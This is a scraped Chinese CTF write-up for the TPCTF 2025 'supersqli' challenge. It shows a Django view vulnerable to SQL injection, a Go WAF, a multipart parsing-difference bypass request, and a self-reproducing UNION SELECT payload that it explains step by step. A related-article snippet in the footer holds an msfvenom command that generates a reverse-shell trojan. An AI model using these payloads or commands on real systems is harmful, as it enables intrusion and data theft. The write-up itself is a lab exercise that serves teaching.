ctf-web: 不統一的解析 + sql注入要求輸入與輸出相等 -- tpctf supersqli

# 從 django.shortcuts 模塊導入 render 函數,用于渲染模板
from django.shortcuts import render
# 從 django.db 模塊導入 connection 對象,用于數據庫連接
from django.db import connection# 此模塊用于創建視圖函數
# 從 django.http 模塊導入 HttpResponse 和 HttpRequest 類
from django.http import HttpResponse,HttpRequest
# 從當前應用的 models 模塊導入 AdminUser 和 Blog 模型
from .models import AdminUser,Blog
# 導入 os 模塊,用于與操作系統進行交互
import os# 定義一個名為 index 的視圖函數,接收一個 HttpRequest 對象作為參數
def index(request:HttpRequest):# 返回一個 HttpResponse 對象,內容為 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 定義一個名為 flag 的視圖函數,接收一個 HttpRequest 對象作為參數
def flag(request:HttpRequest):# 檢查請求的方法是否不是 POSTif request.method != 'POST':# 如果不是 POST 請求,返回一個 HttpResponse 對象,內容為 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 從 POST 請求中獲取名為 'username' 的參數值username = request.POST.get('username')# 檢查用戶名是否不是 'admin'if username != 'admin':# 如果用戶名不是 'admin',返回一個 HttpResponse 對象,內容為 'you are not admin.'return HttpResponse('you are not admin.')# 從 POST 請求中獲取名為 'password' 的參數值password = request.POST.get('password')# 使用原始 SQL 查詢從 blog_adminuser 表中篩選出用戶名和密碼匹配的用戶users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:# 斷言用戶輸入的密碼與查詢結果中的第一個用戶的密碼相同assert password == users[0].password# 如果斷言成功,返回一個 HttpResponse 對象,內容為環境變量中 'FLAG' 的值return HttpResponse(os.environ.get('FLAG'))except:# 如果斷言失敗或出現異常,返回一個 HttpResponse 對象,內容為 'wrong password'return HttpResponse('wrong password')

服務器要求輸入的密碼與數據庫返回內容相同,且服務器存在waf

if r.Method == http.MethodPost {  ct := r.Header.Get("Content-Type")  mediaType, _, err := mime.ParseMediaType(ct)  if err != nil {  log.Printf("解析 Content-Type 失敗: %v", err)  return true  }  if mediaType == "multipart/form-data" {  if err := r.ParseMultipartForm(65535); err != nil {  log.Printf("解析 POST 參數失敗: %v", err)  return true  }  } else {  if err := r.ParseForm(); err != nil {  log.Printf("解析 POST 參數失敗: %v", err)  return true  }  }  for key, values := range r.PostForm {  log.Printf("POST 參數 %s=%v", key, values)  for _, value := range values {  if sqlInjectionPattern.MatchString(value) {  log.Printf("阻止 SQL 注入: POST 參數 %s=%s", key, value)  return true  }  if rcePattern.MatchString(value) {  log.Printf("阻止 RCE 攻擊: POST 參數 %s=%s", key, value)  return true  }  if hotfixPattern.MatchString(value) {  log.Printf("POST 參數 %s=%s", key, value)  return true  }  }  }  
}

tips: 跨語言容易出現解析差異

multipart/form-data

multipart/form-data 是一種用于在 HTTP 請求中傳輸表單數據的編碼格式,特別適用于同時上傳文件和提交文本字段的場景。它的核心設計是通過分隔符(boundary)將請求體分割為多個獨立的部分,每部分對應一個表單字段(如文本輸入或文件)。

為什么需要它?

  1. 支持文件上傳:傳統的 application/x-www-form-urlencoded 格式只能編碼簡單的鍵值對文本,而 multipart/form-data 可以高效處理二進制文件(如圖片、視頻)。
  2. 混合數據類型:允許在一個請求中同時傳輸文本和文件。
  3. 避免數據混亂:通過唯一的分隔符(boundary)確保各部分數據不沖突。

格式結構

  1. HTTP 請求頭 中需指定:
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
  • boundary 是一個隨機生成的字符串,用于分隔不同部分。
  1. 請求體示例

    ----WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="username"Alice
    ----WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="avatar"; filename="photo.jpg"
    Content-Type: image/jpeg(這里是文件的二進制數據)
    ----WebKitFormBoundaryABC123--
    
    • 每個字段由 boundary 分隔。
    • 文本字段name 指定字段名,內容直接跟在空行后。
    • 文件字段:需指定 filenameContent-Type(如 image/jpeg)。

tips: 有些時候multipart/form-data的鍵值可能被認為是post的鍵值

當我們發送

POST /flag/ HTTP/1.1
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:3592
Content-Length: 301
Content-Type: multipart/form-data; boundary=ba325d8a6c0000320059df30eab0bb5e--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="username"admin
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="file"; filename="A5rZ.txt";name="
Content-Disposition: form-data; name="password";select
--ba325d8a6c0000320059df30eab0bb5e--

go 不會認為 password是一個參數, 但是django會認為他是一個參數

現在我們解決了waf,又如何使得輸入與輸出相等呢?

我們能找到這樣的有效負載,我們來看看原理是什么

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')-- 

當有效負載被拼接到后端,他看起來應該是這樣的

blog_adminuser具有三列

SELECT * FROM blog_adminuser 
WHERE username='admin' AND password='1'UNION SELECT 1,2,REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
-- '
    REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')

也就是

out = '1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '.replace(chr(34),chr(39))  
print(out)  
out = out.replace(chr(35), """'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '""")  
print(out)
1' UNION SELECT 1,2,REPLACE(REPLACE('#',CHAR(34),CHAR(39)),CHAR(35),'#')-- 
1' UNION SELECT 1,2,REPLACE(REPLACE(''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '',CHAR(34),CHAR(39)),CHAR(35),''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '')-- 

拓展 - Quine

Quine 程序是一種特殊的程序,其功能是輸出自身的源代碼,以下示例都會輸出自身

s = 's = %r\nprint(s%%s)'  
print(s % s)
s = '''s = \'\'\'%s\'\'\'\\nart = \'\'\'%s\'\'\'\\nprint(s %% (s.replace(\'\\\\n\', \'\\\\\\\\n\').replace(\'\\\'\', \'\\\\\\\'\'), art)'''
art = r'''____                    _              / ___| _   _ _ __   ___ (_)_ __   __ _ \___ \| | | | '_ \ / _ \| | '_ \ / _` |___) | |_| | | | | (_) | | | | | (_| ||____/ \__,_|_| |_|\___/|_|_| |_|\__, ||___/ 
Self-Replicating Code (Quine) v1.0
'''
print(s % (s.replace('\n', '\\n').replace('\'', '\\\''), art))

參考

https://blog.0xfff.team/posts/tpctf_2025_writeup

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73524.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73524.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73524.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LLM推理加速框架有哪些

LLM推理加速框架有哪些 目錄 LLM推理加速框架有哪些1. TensorRT簡介簡單使用示例2. Triton Inference Server簡介簡單使用示例3. SGLang簡介簡單使用示例4. vLLM簡介簡單使用示例1. TensorRT 簡介 TensorRT 是 NVIDIA 推出的一個用于高性能深度學習推理的 SDK。它能夠對訓練好…

【深度學習與實戰】2.1、線性回歸模型與梯度下降法先導案例--最小二乘法(向量形式求解)

為了求解損失函數 對 的導數,并利用最小二乘法向量形式求解 的值,我們按照以下步驟進行: ?1. 損失函數的含義? 這是?線性回歸?的平方誤差損失函數,目標是最小化預測值 與真實值 之間的差距。 ?定義損失函數?&#xf…

S7-1200對V90 PN進行位置控制的三種方法

S7-1200系列PLC通過PROFINET與V90 PN伺服驅動器搭配進行位置控制,實現的方法主要有以下三種: ? 方法一、在PLC中組態位置軸工藝對象,V90使用標準報文3,通過MC_Power、MC_MoveAbsolute等PLC Open標準程序塊進行控制, 這種控制方式屬于中央控制方式(位置控制在PLC中計算,驅…

愛普生FC-135晶振5G手機的極端溫度性能守護者

在5G時代,智能手機不僅需要高速率與低延遲,更需在嚴寒、酷暑、振動等復雜環境中保持穩定運行。作為 5G 手機的核心時鐘源,愛普生32.768kHz晶振FC-135憑借其寬溫適應性、高精度穩定性與微型化設計,成為5G手機核心時鐘源的理想選擇&…

ROS--IMU數據包

IMU慣性測量單元 一:IMU二:ROS中三:IMU數據包三:總結 提示:以下是本篇文章正文內容,下面案例可供參考 一:IMU IMU(Inertial Measurement Unit,慣性測量單元&#xff09…

數據文件誤刪除,OceanBase中如何重建受影響的節點

當不慎誤刪數據文件且當前沒有現成的可替換節點時,在OceanBase中,不必急于采取極端措施,可以考慮運用 server_permanent_offline_time 參數,來重建受影響的節點。 原理: server_permanent_offline_time 是 OceanBase數…

Python:匹配多個字符,如何匹配開頭

匹配字符0次或無數次(*): import re resre.match([A-Z][a-z]*,Lihailu) print(res.group())#提取數據 輸出結果可以全部輸出 匹配字符至少一次(): import re resre.match([A-Za-z]python,apython) print(res.group())#提取數據(后邊只寫python會…

Unity-RectTransform設置UI width

不知道有沒人需要這樣的代碼,就是.sizeDelta //不確定是不是英文翻譯的原因,基本很難理解,sizeDeltaSize,//未必完全正確,但這么寫好像總沒錯過 //image 在一個UnityEngine.UI.Image 的數組內foreach (var image in l…

java學習——函數式編程(1)

函數式編程 Java 的函數式編程是一種以函數為核心構建邏輯的編程范式,強調不可變性、聲明式代碼和無副作用的操作。它通過Lambda表達式、函數式接口(如Function、Predicate、Consumer等)和Stream API等特性實現,將計算過程抽象為函數的組合與轉換,而非傳統的命令式步驟。…

AP CSA FRQ Q2 Past Paper 五年真題匯總 2023-2019

Author(wechat): bigshuang2020 ap csa tutor, providing 1-on-1 tutoring. 國際教育計算機老師, 擅長答疑講解,帶學生實踐學習。 熱愛創作,作品:ap csa原創雙語教案,真題梳理匯總, AP CSA FRQ專題沖刺, AP CSA MCQ小題…

線程池詳解:在SpringBoot中的最佳實踐

線程池詳解:在SpringBoot中的最佳實踐 引言 在Java并發編程中,線程池是一種非常重要的資源管理工具,它允許我們在應用程序中有效地管理和重用線程,從而提高性能并降低資源消耗。特別是在SpringBoot等企業級應用中,正…

2025年IT行業技術革命全景解析:從AI到量子計算的落地實踐

簡介 2025年,全球IT行業正經歷一場由AI、量子計算、物聯網等技術驅動的變革。從BOE的AI制造系統到德易科技的無人機光伏巡檢,從鯤鵬處理器的國產化突破到量子計算的算力革命,技術創新正在重塑產業格局。本文結合最新行業動態與實戰案例&…

JVM - 年輕代和老年代

通過一些問題來討論 JVM 中年輕代和老年代的內容 為什么要區分年輕代和老年代?哪些對像會進入老年代?什么時候會進行年輕代GC?什么時候會進行老年代GC? 1. 為什么要區分年輕代和老年代? 年輕代中的對象大部分都是短期…

【react】在react中async/await一般用來實現什么功能

目錄 基本概念 工作原理 優點 注意事項 底層原理 實際應用場景 1. 數據獲取 (API 請求) 2. 表單提交 3. 異步狀態管理 4. 異步路由切換 5. 異步數據預加載 6. 第三方 API 調用 7. 文件上傳/下載 8. 路由導航攔截 關鍵注意事項 基本概念 async 函數:用…

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據(HDSS)在類別不平衡情況下的在線流式特征選擇問題,提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口,用于搜索店鋪列表。通過該接口,開發者可以查詢特定店鋪的相關信息,包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化: H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏(線程未關閉)問題描述錯誤實現優化原理正確實現優化原理 資源泄漏(線程未關閉) 問題描述 應用程序啟動時創建線程池處理任務,但未在應用關閉時正確關閉線程池。 現象: 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件: 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…